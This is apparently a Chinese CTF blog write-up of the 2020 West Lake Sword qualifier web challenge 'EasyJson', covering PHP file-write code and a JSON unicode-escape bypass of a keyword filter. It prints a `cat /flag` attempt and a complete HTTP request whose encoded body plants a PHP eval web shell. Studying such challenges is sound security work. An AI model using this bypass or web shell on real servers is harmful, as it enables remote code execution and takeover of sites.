西湖论剑初赛web-EasyJson
发布时间:2020/10/11 作者:linmoumou 浏览(417) 评论(198) 分类【CTF】 文章来源:博主原创
- json字符转义
考点
题目复现用的是群里大佬复现的环境。
解题
进去给了源码
x<?php
include 'security.php';
if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");
if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}
代码比较简单,一点一点读,第一个if判断有没有source,有的没有的话就显示源码终止程序,第二个if判断沙箱存不存在,不存在就创建。第三个if是判断action内用如果是write 就会把content的内容json解码写入传入的filename文件名里面,如果是reset就重置沙盒,把文件删除。
这里看源码好像都没有过滤但是实际去做的时候发现有过滤,刚开始我直接尝试的是
xxxxxxxxxx
{"content":"Gif89a<?php system('cat /flag'); ?>"}
但是我发现我的输入被过滤了,就尝试编码绕过发现可以绕过但是读不出来东西,尝试了目录穿越,一直读不到,就想了传一个一句话上去工具一连比较好找。
我们的payload就是:
xxxxxxxxxx
POST /?source=1&action=write&filename=a.php HTTP/1.1
Host: easyjson.xhlj.wetolink.com
Content-Length: 259
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://easyjson.xhlj.wetolink.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://easyjson.xhlj.wetolink.com/?source=1&action=write&filename=d.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.649838177.1602393631; _gid=GA1.2.30300762.1602393631; _gat_gtag_UA_172919674_1=1
Connection: close
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u0047\u0069\u0066\u0038\u0039\u0061\u003c\u003f\u0070\u0068\u0070\u0020\u0040\u0065\u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0027\u0061\u0073\u0027\u005d\u0029\u003b\u0020\u003f\u003e"}
就是
xxxxxxxxxx
get:?source=1&action=write&filename=a.php
post:unicode编码后的{"content":"Gif89a<?php @eval($_POST['as']); ?>"}
关键字词:CTF,WEB,西湖论剑线下赛